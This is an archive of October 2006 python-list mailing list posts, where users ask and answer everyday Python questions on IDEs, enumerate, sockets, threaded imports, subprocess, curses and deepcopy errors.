> [1,2,3].len better?)
>
> I think you can't add methods to Python builtin classes, I
> think you can do it with Ruby.

You can create derived versions of builtins with new methods
(which affords the benefits of modifying builtins), but
you can't change the type of a Python literal. So the above would
be

  MyList([1,2,3]).len

-- 
Neil Cerutti


From ben.hamilton at gmail.com  Mon Oct 30 08:18:42 2006
From: ben.hamilton at gmail.com (ben.hamilton at gmail.com)
Date: 30 Oct 2006 05:18:42 -0800
Subject: What's the best IDE?
In-Reply-To: <fT40h.7805$5i7.6796@newsreading01.news.tds.net>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
	<mailman.1228.1161824335.11739.python-list@python.org>
	<454004a9$0$19602$88260bb3@free.teranews.com>
	<1161828498.791044.144040@f16g2000cwb.googlegroups.com>
	<7g40h.165$1n3.4282@news.tufts.edu>
	<fT40h.7805$5i7.6796@newsreading01.news.tds.net>
Message-ID: <1162214321.979362.146770@i42g2000cwa.googlegroups.com>

This is the answer

Linux
-------------------------------
BOA constructor
Eric (the best for python I think it has cool subversion support better
than emacs for non f4cmd67-b jockies emacs sucks anyway you look at it
and lisp is a terrible terrible bad joke unless you are gondi)
oh and some other tool for python glade/gtk widgetmaroo

Mac
------------------------------
Xcode of course
TextMate


Windows
----------------------------
who cares


Personally Eric3 wins for general purpose python code look it up why
did no one mention the best one?

done

Neil Cerutti wrote:
> On 2006-10-26, John Salerno <johnjsal at NOSPAMgmail.com> wrote:
> > Hakusa at gmail.com wrote:
> >> as I have yet to try Vim - maybe I'll try tomarrow.
> >
> > Warning: Vim isn't something you just "try tomorrow"  :)
>
> You can become proficient enough for basic editing in about 20
> minutes with the built-in tutorial.
>
> Getting it to work seemlessly with Python code will take
> considerably longer.
> 
> -- 
> Neil Cerutti



From bignose+hates-spam at benfinney.id.au  Sun Oct 29 18:08:09 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Mon, 30 Oct 2006 10:08:09 +1100
Subject: enumerate improvement proposal
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>
	<mailman.1435.1162124420.11739.python-list@python.org>
	<Jb11h.17572$TV3.6879@newssvr21.news.prodigy.com>
Message-ID: <873b96bu06.fsf@benfinney.id.au>

James Stroud <jstroud at mbi.ucla.edu> writes:

> Fredrik Lundh wrote:
> > why is it this function's job to add an offset to the actual
> > sequence index?
>
> The code is for an economist. She is insistent on starting with the
> first bin as 1.

Note that 'enumerate' is actually a built-in type, and 'enumerate()'
is the constructor returning a new object of that type.

A special case isn't special enough to change the built-in type.

    >>> print enumerate("ABCDE")
    <enumerate object at 0xa7d642ac>
    >>> print list(enumerate("ABCDE"))
    [(0, 'A'), (1, 'B'), (2, 'C'), (3, 'D'), (4, 'E')]

    >> def obstinate_economist_enumerate(items):
    ...     seq = [(i+1, x) for (i, x) in enumerate(items)]
    ...     return iter(seq)
    ...
    >>> print obstinate_economist_enumerate("ABCDE")
    <listiterator object at 0xa7d6408c>
    >>> print list(obstinate_economist_enumerate("ABCDE"))
    [(1, 'A'), (2, 'B'), (3, 'C'), (4, 'D'), (5, 'E')]

This doesn't produce an 'enumerate' object; if you really want that,
you could subclass 'enumerate', but it seems the above function does
what you want.

-- 
 \        "I installed a skylight in my apartment. The people who live |
  `\                          above me are furious!"  -- Steven Wright |
_o__)                                                                  |
Ben Finney



From mike$#at^&nospam!%trauschus  Thu Oct 26 12:02:12 2006
From: mike$#at^&nospam!%trauschus (Michael B. Trausch)
Date: Thu, 26 Oct 2006 12:02:12 -0400
Subject: Debugging/Networking ?s.
Message-ID: <UMudnZOM_OibQd3YnZ2dnUVZ_qCdnZ2d@comcast.com>

I am having a little bit of trouble figuring out what to do about a
problem that I am having with the program I am working with.

I had it working yesterday, and up through till this morning.  I hadn't
thought about putting it in version control until now, so whatever it
was I did, I can't just hit a revert button... that'll teach me.  :-)

Anyway, it opens a socket, and is capable of fetching the first output
from it and displaying it in the TextCtrl that it is using.  It also
says that it is successfully sending what is typed, be it an alias for
something else, or a straight command that needs to be sent.  However,
after the initial text is received, it says that it doesn't receive anymore.

I would believe that, if I could duplicate it with a known working
program (such as telnet)... but, I can't.  The server that I am working
with is working perfectly fine -- e.g., it is replying just as it should
be.  However, it is also not detecting any problem with the socket,
either.  :-/

The code is at http://fd0man.theunixplace.org/Tmud.tar.gz and if someone
could give me some insight as to what I might be doing wrong in
PlayWindow.py, method CheckAndProcessGameOutput, that would be
wonderfully appreciated.  I am out of ideas, myself.  It never comes up
with error, and never says that the socket is ready, either (using
select.select()).

Beware that the code isn't likely to be very pretty -- I am not an
experienced programmer.  Even some of the ideas I got from the ANSI
thread are likely to look not so pretty, because I probably mangled a
lot of that, too, though, it *was* working.  The only thing that
irritates me is that the changes I have been working on today have all
been in the SendOut method in PlayWindow.py, which should have no
bearing on CheckAndProcessGameOutput, so I don't know what really caused
it to stop working.

Thanks in advance for any assistance!

	-- Mike


From maxerickson at gmail.com  Fri Oct 20 08:58:01 2006
From: maxerickson at gmail.com (Max Erickson)
Date: Fri, 20 Oct 2006 12:58:01 +0000 (UTC)
Subject: list comprehension (searching for onliners)
References: <4538C09E.2040408@fmed.uba.ar>
Message-ID: <Xns98625B36A13CDmaxericksongmailcom@80.91.229.5>

Gerardo Herzig <gherzig at fmed.uba.ar> wrote:

> Hi all: I have this list thing as a result of a db.query: (short
> version) result = [{'service_id' : 1, 'value': 10},
>                 {'service_id': 2, 'value': 5},
>                 {'service_id': 1, 'value': 15},
>                 {'service_id': 2, 'value': 15},
>              ]
> 
> and so on...what i need to do is some list comprehension that
> returns me something like
> 
> result = [
>                 {
>                     'service_id' : 1, 'values': [ {'value': 10}, 
> {'value': 15}]
>                  },
>                 {
>               'service_id' : 2, 'values': [ {'value': 5},
>               {'value': 15}] 
>                 }
>                
> 
> My problem now is i cant avoid have "repeteated" entries, lets
> say, in this particular case, 2 entries for "service_id = 1", and
> other 2 for "service_id =2".
> Ill keeping blew off my hair and drinking more cofee while
> searching for this damn onliner im looking for.
> 
> Thanks dudes.
> Gerardo

Is three lines ok?

>>> output=dict()
>>> for record in result:
	output.setdefault(record['service_id'], list()).append(record
['value'])

	
>>> output
{1: [10, 15], 2: [5, 15]}
>>> 

Creating the more verbose output that you specified should be 
pretty straighforward from there.

max



From bignose+hates-spam at benfinney.id.au  Sat Oct  7 21:14:21 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sun, 08 Oct 2006 11:14:21 +1000
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com> <877izb1vwe.fsf@pobox.com>
Message-ID: <87y7rrbocy.fsf@benfinney.id.au>

jjl at pobox.com (John J. Lee) writes:

> aahz at pythoncraft.com (Aahz) writes:
> >     if schema.elements.has_key(key) is False:
>
> I think I was reading the same code recently (epydoc?) and was also
> momentarily horrified ;-) until I realized that it was quite
> deliberately using three-valued logic (True, False, None) for some
> presumably-sensible reason.

Apparently a reason unrelated to dict.has_key, which is documented as
returning only True or False, never None.

-- 
 \     "Welchen Teil von 'Gestalt' verstehen Sie nicht?  [What part of |
  `\             'gestalt' don't you understand?]"  -- Karsten M. Self |
_o__)                                                                  |
Ben Finney



From skip at pobox.com  Mon Oct  9 14:30:09 2006
From: skip at pobox.com (skip at pobox.com)
Date: Mon, 9 Oct 2006 13:30:09 -0500
Subject: Python component model
In-Reply-To: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
Message-ID: <17706.38193.993711.733239@montanaro.dyndns.org>


    Edward> The definition of a component model I use below is a class which
    Edward> allows properties, methods, and events in a structured way which
    Edward> can be recognized, usually through some form of introspection
    Edward> outside of that class. This structured way allows visual tools
    Edward> to host components, and allows programmers to build applications
    Edward> and libraries visually in a RAD environment.

    ...
    Edward> I believe that Python should have a common components model for
    Edward> all RAD development environments, as that would allow the Python
    Edward> programmer to create a set of classes representing components
    Edward> which would work in any environment.

Having never used java or .NET I'm not sure what you're looking for.  Does
Python's current introspection not work?  Is it someone too unstructured
(whatever "structured" means)?  Can you give a simple example?

Skip



From gagsl-py at yahoo.com.ar  Fri Oct 27 18:08:22 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 27 Oct 2006 19:08:22 -0300
Subject: Cards deck problem
In-Reply-To: <slrnek30pv.jcj.mmn@linux.site>
References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com>
	<slrnek30pv.jcj.mmn@linux.site>
Message-ID: <7.0.1.0.0.20061027184609.05f31e68@yahoo.com.ar>

At Friday 27/10/2006 00:48, Michael Naunton wrote:

>It is clear your professor does not understand computer science.  Switch
>to a new university now.
>
>As noted in the problem, a deck has 52 cards.  cardsLeft(self) therefore
>always returns 52.
>
>This may seem pendantic, but CS is mostly about thinking about (and thus
>naming) things clearly.  Find someone who does.

Uhm, maybe it's a matter of language, but how do you name the pile of 
cards remaining to be dealt once the game begins?
At least in Argentina, it's called the same ("mazo") as the full, 
original, set of cards.
The "remaining cards" interpretation for "deck" would be consistent 
with the required interfase: shuffle, dealCard, cardsLeft...

> > shuffle(self) - Randomizes the order of the cards
> > dealCard(self) - Returns a single card from the top of the deck, and
> > removes the card from the deck.
> > cardsLeft(self) - Returns the number of cards left in the deck.


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From tjreedy at udel.edu  Wed Oct 11 23:20:04 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 11 Oct 2006 23:20:04 -0400
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com><7x3b9u376m.fsf@ruckus.brouhaha.com><Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com><1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
Message-ID: <egkc93$au2$1@sea.gmane.org>


<idknow at gmail.com> wrote in message 
news:1160619958.438049.53390 at h48g2000cwc.googlegroups.com...
> bearophileHUGS at lycos.com wrote:
> no sort() is needed to calculate the median of a list.
> you just need one temp var.

Of course.  But for a short enough list, the builtin sort() method may be 
faster than an O(n) algorithm coded in Python.  And .sort() is already 
present.

tjr






From mail at microcorp.co.za  Tue Oct 10 02:57:36 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Tue, 10 Oct 2006 08:57:36 +0200
Subject: People's names (was Re: sqlite3 error)
References: <JnzSg.36$1n3.471@news.tufts.edu>	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>	<yCQSg.41$1n3.351@news.tufts.edu><1159493520.289291.276850@b28g2000cwb.googlegroups.com><mailman.912.1159494600.10491.python-list@python.org><eg98qb$6a3$1@lust.ihug.co.nz><mailman.93.1160373988.11739.python-list@python.org>
	<egd0k3$u3r$2@lust.ihug.co.nz>
Message-ID: <028801c6ec39$83d679c0$03000080@hendrik>

"Lawrence D'Oliveiro" <ldo at geek-central.gen.new_zealand> wrote:


> In message <mailman.93.1160373988.11739.python-list at python.org>, Hendrik van
> Rooyen wrote:
>
> > "Lawrence D'Oliveiro" <ldo at geek-central.gen.new_zealand> wrote:
> >
> > 8<--------------------------------------------------------
> >
> >> I wonder if we need another "middle" field for holding the "bin/binte"
> >> part (could also hold, e.g. "Van" for those names that use this).
> >
> > NOOOOO! - I think of my surname as "van Rooyen" - its only a string with a
> > space in it - and its peculiar in that the first letter is not
> > capitalised....
> >
> > And I am sure that the people called "von Kardorff" would not agree
> > either...
>
> So do the Dutch phone books have a lot of entries under V, then?
>
> It just seems less efficient to me, that's all.

Don't know about what happens in Holland - my ancestors came over here to South
Africa a long time ago -
a mixed up kid I am - Dutch and French from the time of the revocation of the
edict of Nantes...
And yes, here the phone books are sorted that way - the "van Rensburg"s precede
the "van Rooyen"s. And what is worse, there are a lot of "van der"s too - two
spaces in the string like "van der Merwe" who are preceded by "van der Bank"  -
"van" basically means "from" - like the German "von" - but in Germany its an
appellation applied to the nobility - and in my name it makes no sense as
"Rooyen" is not a place - its a strange archaic derivative of the colour red -
"rooij' in Dutch, spelt "rooi" in Afrikaans - and the "der" is an archaic form
of "the" - (and modern "the" in German, if yer male) ...

And that lot completely ignores other animals like the "Janse van Rensburg"s,
who go in amongst the "J"s...

HTH - Hendrik




From http  Sun Oct 15 07:03:33 2006
From: http (Paul Rubin)
Date: 15 Oct 2006 04:03:33 -0700
Subject: where is Python tutorial?
References: <mailman.536.1160909001.11739.python-list@python.org>
Message-ID: <7xzmbxhmd6.fsf@ruckus.brouhaha.com>

"Tshepang Lekhonkhobe" <tshepang at gmail.com> writes:
> I looked in the packages list and couldn't find the tutorial and was
> wondering if it was removed from the archive. Was it?

http://www.google.com/search?q=%22python+tutorial%22

finds it pretty fast


From bignose+hates-spam at benfinney.id.au  Thu Oct 26 05:47:49 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 26 Oct 2006 19:47:49 +1000
Subject: Cards deck problem
References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com>
Message-ID: <871wovif22.fsf@benfinney.id.au>

"Arun Nair" <nairarunv at gmail.com> writes:

> Can any one help me with this im not getting it even after reading
> books because there is not much of discussion anywhere

Perhaps the discussion should be between yourself and your teacher, or
the other students in your class. We're not here to do your homework
assignments.

-- 
 \       "It is seldom that liberty of any kind is lost all at once."  |
  `\                                                     -- David Hume |
_o__)                                                                  |
Ben Finney



From tim at tdw.net  Tue Oct 17 05:57:34 2006
From: tim at tdw.net (Tim Williams)
Date: Tue, 17 Oct 2006 10:57:34 +0100
Subject: Cannot import a module from a variable
In-Reply-To: <W55089226.427.12800.1@mx-extra>
References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com>
	<W55089226.427.12800.1@mx-extra>
Message-ID: <9afea2ac0610170257p6d7cd4a9mb6ec8d09c6ec4920@mail.gmail.com>

On 16/10/06, Bruno Desthuilliers <onurb at xiludom.gro> wrote:
> Jia Lu wrote:
> > Hi all:
> >
> > I try to do things below:
> >>>> import sys
> >>>> for i in sys.modules.keys():
> >       import i
> > Traceback (most recent call last):
> >   File "<pyshell#67>", line 2, in <module>
> >     import i
> > ImportError: No module named i
> >
> > But it seems that import donot know what is i ?
>
> The import statement expects a name (a symbol), not a string.
>

eval( 'import %s' % modname)

and

eval( 'reload(%s)' % modname)

Usual warnings about eval apply,  but in this case it is usable.

HTH :)


From mike.klaas at gmail.com  Mon Oct 30 22:16:51 2006
From: mike.klaas at gmail.com (Klaas)
Date: 30 Oct 2006 19:16:51 -0800
Subject: import in threads: crashes & strange exceptions on dual core
	machines
In-Reply-To: <ei4vtc$220$1@news.albasani.net>
References: <ei4vtc$220$1@news.albasani.net>
Message-ID: <1162264611.252985.208010@m7g2000cwm.googlegroups.com>

It seems clear that the import lock does not include fully-executing
the module contents.  To fix this, just import cookielib before the
threads are spawned.  Better yet, use your own locks around the
acquisition of the opener instance (this code seems fraughtfully
thread-unsafe--fix that and you solve other problems besides this one).

regards,
-Mike

robert wrote:
> I get python crashes and (in better cases) strange Python exceptions when (in most cases) importing and using cookielib lazy on demand in a thread.
> It is mainly with cookielib, but remember the problem also with other imports (e.g. urllib2 etc.).
> And again very often in all these cases where I get weired Python exceptions, the problem is around re-functions - usually during re.compile calls during import (see some of the exceptions below). But not only.
>
> Very strange: The errors occur almost only on machines with dual core/multi processors - and very very rarely on very fast single core machines (>3GHz).
>
> I'm using Python2.3.5 on Win with win32ui (build 210) - the cookielib taken from Python 2.5.
>
> I took care that I'm not starting off thread things or main application loop etc. during an import (which would cause a simple & explainable deadlock freeze on the import lock)
>
> With real OS-level crashes I know from user reports (packaged app), that these errors occur very likely early after app start - thus when lazy imports are likely to do real execution.
>
> I researched this bug for some time. I think I can meanwhile exclude (ref-count, mem.leak) problems in win32ui (the only complex extension lib I use) as cause for this. All statistics point towards import problems.
>
> Any ideas?
> Are there problems known with the import lock (Python 2.3.5) ?
>
> (I cannot easily change from Python 2.3 and it takes weeks to get significant feedback after random improvements)
>
> -robert
>
> PS:
>
> The basic pattern of usage is:
>
> ==================
> def f():
>             ...
>             opener = urlcookie_openers.get(user)
>             if not opener:
>                 import cookielib                        #<----1
>                 cj=cookielib.CookieJar()                #<----2
>                 build_opener = urllib2.build_opener
>                 httpCookieProcessor = urllib2.HTTPCookieProcessor(cj)
>                 if url2_proxy:
>                     opener = build_opener(url2_proxy,httpCookieProcessor)
>                 else:
>                     opener = build_opener(httpCookieProcessor)
>                 opener.addheaders   #$pycheck_no
>                 opener.addheaders= app_addheaders
>                 urlcookie_openers[user] = opener
>             ufile = opener.open(urllib2.Request(url,data,dict(headers)))
>             ...
>
>
> thread.start_new(f,())
> =========================
>
> Symptoms:
> __________
>
> sometimes ufile is None and other weired invalid states.
>
> typical Python exceptions when in better cases there is no OS-level crash:
>
> ---------
>
>  # Attributes randomly missing like:
>  #<----2
>
> "AttributeError: \'module\' object has no attribute \'CookieJar\'\\n"]
>
>
> ---------
>
> # weired invalid states during computation like:
> #<----1
>
> ...  File "cookielib.pyo", line 184, in ?\\n\', \'  File
> "sre.pyo", line 179, in compile\\n\', \'  File "sre.pyo", line 228, in _compile\\n\', \'  File
> "sre_compile.pyo", line 467, in compile\\n\', \'  File "sre_parse.pyo", line 624, in parse\\n\', \'
> File "sre_parse.pyo", line 317, in _parse_sub\\n\', \'  File "sre_parse.pyo", line 588, in
> _parse\\n\', \'  File "sre_parse.pyo", line 92, in closegroup\\n\', \'ValueError: list.remove(x): x
> not in list\\n\']
> ...
> 'windows', "(5, 1, 2600, 2, 'Service Pack 2')/NP=2")
>
>
> ---------
>
> #<----1
>
>
> File "cookielib.pyo", line 116, in ?\\n\', \'  File "sre.pyo", line 179, in compile\\n\', \'  File "sre.pyo", line 228, in _compile\\n\', \'  File "sre_compile.pyo", line 467, in compile\\n\', \'  File "sre_parse.pyo", line 624, in parse\\n\', \'  File "sre_parse.pyo", line 317, in _parse_sub\\n\', \'  File "sre_parse.pyo", line 494, in _parse\\n\', \'  File "sre_parse.pyo", line 140, in __setitem__\\n\', \'IndexError: list assignment index out of range\\n\']
>
> ('windows', "(5, 1, 2600, 2, 'Service Pack 2')/NP=2"
>
> ---------
>
> # weired errors in other threads:
>
> # after dlg.DoModal() in main thread
>
> File "wintools.pyo", line 115, in PreTranslateMessage\\n\', \'TypeError: an integer is required\\n\']
>
> ('windows', "(5, 1, 2600, 2, 'Service Pack 2')/NP=2")
>
> ---------
>
> # after win32ui.PumpWaitingMessages(wc.WM_PAINT, wc.WM_MOUSELAST) in main thread
> 
> \'TypeError: argument list must be a tuple\\n\'
> 
> 
> ...



From fakeaddress at nowhere.org  Mon Oct  2 21:25:18 2006
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Tue, 03 Oct 2006 01:25:18 GMT
Subject: Sockets in python
In-Reply-To: <1159557755.437424.44670@m73g2000cwd.googlegroups.com>
References: <1159557755.437424.44670@m73g2000cwd.googlegroups.com>
Message-ID: <2_iUg.6914$TV3.4239@newssvr21.news.prodigy.com>

OneMustFall wrote:
>       Reciently i wrote a simple client (in twisted) using Reconnecting
> Factory.
>       That client logins to my socket server.. and that`s it.
> 
>       Interesting thing is that it is seems that twisted client,
>       sends some ping on a TCP level without sending any data to the
>       socket directly.
>       Because when i pull out cord from the ethernet card simulating
>       network falure, client in about 10-15 seconds determines that
>       connection lost!! (pretty cool)
>       While my server thinks that client is connected.

What's your set-up and which cord are you pulling?


-- 
--Bryan


From hg at nospam.com  Tue Oct 10 14:39:33 2006
From: hg at nospam.com (hg)
Date: Tue, 10 Oct 2006 13:39:33 -0500
Subject: Funky file contents when os.rename or os.remove are interrupted
In-Reply-To: <1160502494.520457.276080@m7g2000cwm.googlegroups.com>
References: <1160502494.520457.276080@m7g2000cwm.googlegroups.com>
Message-ID: <7WRWg.12104$Go3.4469@dukeread05>

Russell Warren wrote:
> I've got a case where I'm seeing text files that are either all null
> characters, or are trailed with nulls due to interrupted file access
> resulting from an electrical power interruption on the WinXP pc.
> 
> In tracking it down, it seems that what is being interrupted is either
> os.remove(), or os.rename().  Has anyone seen this behaviour, or have
> any clue what is going on?
> 
> On first pass I would think that both of those calls are single step
> operations (removing/changing an entry in the FAT, or FAT-like thing,
> on the HDD) and wouldn't result in an intermediate, null-populated,
> step, but the evidence seems to indicate I'm wrong...
> 
> Any insight from someone with knowledge of the internal operations of
> os.remove and/or os.rename would be greatly appreciated, although I
> expect the crux may be at the os level and not in python.
> 
> Russ
> 
Taking a quick look at the code, it looks like MoveFileW (Windows API)
is eventually being called by posixmodule.c.

My gut feeling is that you are correct and not facing a Python but
Windows issue (sigh) ... you might want to test your problem on an NTFS
file system and see if the problems are similar.

Regards,

hg





From no at spam.com  Tue Oct 24 20:05:49 2006
From: no at spam.com (Farshid Lashkari)
Date: Tue, 24 Oct 2006 17:05:49 -0700
Subject: return tuple from C to python (extending python)
In-Reply-To: <1161731656.218584.21470@m7g2000cwm.googlegroups.com>
References: <1161728694.741915.170890@m7g2000cwm.googlegroups.com>
	<1161731656.218584.21470@m7g2000cwm.googlegroups.com>
Message-ID: <DRx%g.171$yy2.140@newsfe11.phx>

Simon Forman wrote:
> I have not done a great deal of extension work with python, however, I
> do not believe you can simply cast an int (or pointer to int, which is
> what you say dat is declared as, unless my C is /really/ rusty) to
> PyObject*.
> 
> I think you need to do something like Py_BuildValue("i", 123), but see
> http://docs.python.org/ext/buildValue.html for more info.

Simon is correct. You need to create a python object from your unsigned 
int. Try the following instead:

PyTuple_SET_ITEM(toRet, i, PyInt_FromLong(dat[i]) );

-Farshid


From timr at probo.com  Sat Oct 21 22:05:16 2006
From: timr at probo.com (Tim Roberts)
Date: Sun, 22 Oct 2006 02:05:16 GMT
Subject: print dos format file into unix format
References: <1161469067.180921.35200@i3g2000cwc.googlegroups.com>
Message-ID: <4bklj21c2tuk45u3cvk5mteilkri4kl1la@4ax.com>

"PengYu.UT at gmail.com" <PengYu.UT at gmail.com> wrote:
>
>Suppose I have a dos format text file. The following python code will
>print ^M at the end. I'm wondering how to print it in unix format.
>
>fh = open(options.filename)
>for line in fh.readlines()
>  print line,

Are you running this on Unix or on DOS?

On Unix, you can do:

for line in open(options.filename).readlines():
    print line.rstrip()

Perhaps quicker is:

sys.stdout.write( open(options.filename).read().replace('\r\n','\n') )
-- 
Tim Roberts, timr at probo.com
Providenza & Boekelheide, Inc.


From gagsl-py at yahoo.com.ar  Tue Oct  3 17:55:41 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 03 Oct 2006 18:55:41 -0300
Subject: split()
In-Reply-To: <3671C2002ECC9149B2B5509290F533A64579D5@fiscex.FISCHERINTER
	NATIONAL.COM>
References: <3671C2002ECC9149B2B5509290F533A64579D5@fiscex.FISCHERINTERNATIONAL.COM>
Message-ID: <7.0.1.0.0.20061003185521.042c6da8@yahoo.com.ar>

At Tuesday 3/10/2006 11:53, Bryan Leber wrote:

>Gabriel, actually what I did was go ahead and write the whole 
>sequence of the commit(i.e. PATCH_NUMBER, BUG_NUMBER, etc) to a 
>file, and then I read in that file and put them into a list. Then I 
>used line.startswith() to go through and pull out the OVERVIEW onlyJ

Glad to see it finally worked!



Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From andreas.huesgen at arcor.de  Wed Oct  4 15:19:24 2006
From: andreas.huesgen at arcor.de (Andreas Huesgen)
Date: Wed, 04 Oct 2006 21:19:24 +0200
Subject: Find out the name of a variable passed as an argument
Message-ID: <4524093C.6090707@arcor.de>

Hello everybody,

is there a way to receive the name of an object passed to a function 
from within the function.

something like

def foo(param):
	print theNameOfTheVariablePassedToParam

var1 = "hello"
var2 = "world"

 >>> foo(var1)
var1

 >>> foo(var2)
var2

thanks in advance,

greets

Andreas Huesgen



From dickey at saltmine.radix.net  Wed Oct 11 11:44:20 2006
From: dickey at saltmine.radix.net (Thomas Dickey)
Date: Wed, 11 Oct 2006 15:44:20 -0000
Subject: curses problem reading cursor keys
References: <4527a7c1$0$21342$db0fefd9@news.zen.co.uk>
Message-ID: <12iq4akdgjs4kd7@corp.supernews.com>

Simon Morgan <me at privacy.net> wrote:

> I'd also appreciate any pointers to good tutorials on curses, I've read
> the one by awk and esr but found it rather brief and lacking in detail.

esr only contributed his name - awk wrote the rest.
(When I asked why, he only said it sounded like a good idea ;-)

-- 
Thomas E. Dickey
http://invisible-island.net
ftp://invisible-island.net


From nntp2 at alex29.dp.ua  Thu Oct 26 08:14:30 2006
From: nntp2 at alex29.dp.ua (Alex Kachanov)
Date: Thu, 26 Oct 2006 15:14:30 +0300
Subject: problem using subprocess.call
References: <ehq6k0$1pcf$1@pandora.alkar.net>
	<mailman.1267.1161863734.11739.python-list@python.org>
Message-ID: <ehq8r8$2nnh$1@pandora.alkar.net>

>> 
>> dir=os.path.join(os.path.expanduser("~/domains/domain.com/html"),'test')
>>    subprocess.call(['find',dir+" -name '*.zip' -execdir unzip {} \;"])
>
>    subprocess.call(["find", dir, "-name", "*.zip", "-execdir", "unzip", 
> "{}", ";"])

Ok, thanks, it works.
But what's the difference? Why I can't pass all parameters as one string? 




From anthra.norell at vtxmail.ch  Mon Oct  2 16:10:03 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Mon, 02 Oct 2006 22:10:03 +0200
Subject: Operator += works once, fails if called again
Message-ID: <4521721B.9040002@vtxmail.ch>

Hi all,

   I have a class Time_Series derived from list. It lists days and 
contains a dictionary of various Lists also derived from list which 
contain values related to said days. (e.g. Stock quotes, volumes traded, 
etc.)
   I defined an operator += which works just fine, but only once. If I 
repeat the operation, it fails and leaves me utterly mystified and crushed.

Craving to be uncrushed by a superior intelligence.

Frederic


---------------------------------------------------------------

A test:

 >>> TS1 = TIME_SERIES_7.Time_Series (range (10), 'TS1')  # Some days
 >>> L1 = LIST_7.Floats ((22,44,323,55,344,55,66,77,-1,0), 'Numbers')    
# Some List with values
 >>> TS1.add_List (L1)
 >>> TS2 = TIME_SERIES_7.Time_Series ((3,4,5,7,8), 'TS2')  # Other days 
(subset)
 >>> L2 = LIST_7.Floats ((7,-2,-5,0,2), 'Numbers')   # Another List with 
values
 >>> TS2.add_list (L2)
 >>> TS1 += TS2    # First call
 >> TS1.write ()
TS1  | Date       | Numbers |

0.00 | 1900.00.00 |   22.00 |
1.00 | 1900.01.01 |   44.00 |
2.00 | 1900.01.02 |  323.00 |
3.00 | 1900.01.03 |   62.00 |
4.00 | 1900.01.04 |  342.00 |
5.00 | 1900.01.05 |   50.00 |
6.00 | 1900.01.06 |   63.00 |
7.00 | 1900.01.07 |   77.00 |
8.00 | 1900.01.08 |   -1.00 |
9.00 | 1900.01.09 |    0.00 |

Perfect!

 >>> TS1 += TS2    # Second call

Traceback (most recent call last):
  File "<pyshell#311>", line 1, in -toplevel-
    TS += TS2
  File "c:\i\sony\fre\src\python\TIME_SERIES_7.py", line 1314, in __iadd__
    return self.__add__ (other)
  File "c:\i\sony\fre\src\python\TIME_SERIES_7.py", line 1273, in __add__
    Sum = copy.deepcopy (self)
  File "C:\PYTHON24\lib\copy.py", line 188, in deepcopy
    y = _reconstruct(x, rv, 1, memo)
  File "C:\PYTHON24\lib\copy.py", line 335, in _reconstruct
    state = deepcopy(state, memo)
  File "C:\PYTHON24\lib\copy.py", line 161, in deepcopy
    y = copier(x, memo)
  File "C:\PYTHON24\lib\copy.py", line 252, in _deepcopy_dict
    y[deepcopy(key, memo)] = deepcopy(value, memo)
  File "C:\PYTHON24\lib\copy.py", line 161, in deepcopy
    y = copier(x, memo)
  File "C:\PYTHON24\lib\copy.py", line 252, in _deepcopy_dict
    y[deepcopy(key, memo)] = deepcopy(value, memo)
  File "C:\PYTHON24\lib\copy.py", line 188, in deepcopy
    y = _reconstruct(x, rv, 1, memo)
  File "C:\PYTHON24\lib\copy.py", line 335, in _reconstruct
    state = deepcopy(state, memo)
  File "C:\PYTHON24\lib\copy.py", line 161, in deepcopy
    y = copier(x, memo)
  File "C:\PYTHON24\lib\copy.py", line 252, in _deepcopy_dict
    y[deepcopy(key, memo)] = deepcopy(value, memo)
  File "C:\PYTHON24\lib\copy.py", line 188, in deepcopy
    y = _reconstruct(x, rv, 1, memo)
  File "C:\PYTHON24\lib\copy.py", line 320, in _reconstruct
    y = callable(*args)
  File "C:\PYTHON24\lib\copy_reg.py", line 92, in __newobj__
    return cls.__new__(cls, *args)
TypeError: instancemethod expected at least 2 arguments, got 0


It seems to crash on the second call to deepcopy. Why? The type of the 
deepcopied object is still 'Time_Series'.

Here's Time_Series.__add__ () but I don't think there's anything wrong 
with that.

   def __add__ (self, other):

      if self [0] <= other [0]: # One or the other ...
         Sum = copy.deepcopy (self)
         Summand = copy.deepcopy (other)
      else: # depending on which starts earlier
         Sum = copy.deepcopy (other)
         Summand = copy.deepcopy (self)

      if Sum [0] != Summand [0]:
         Summand.insert (0, Sum [0])
         for list_name in Summand.Lists:
            Summand.Lists [list_name].insert (0, None)
      if Sum [-1] < Summand [-1]:
         Sum.append (Summand [-1])
      elif Sum [-1] > Summand [-1]:
         Summand.append (Sum [-1])

      Sum.make_continuous ()          # Fills in missing days and values
      Summand.make_continuous ()

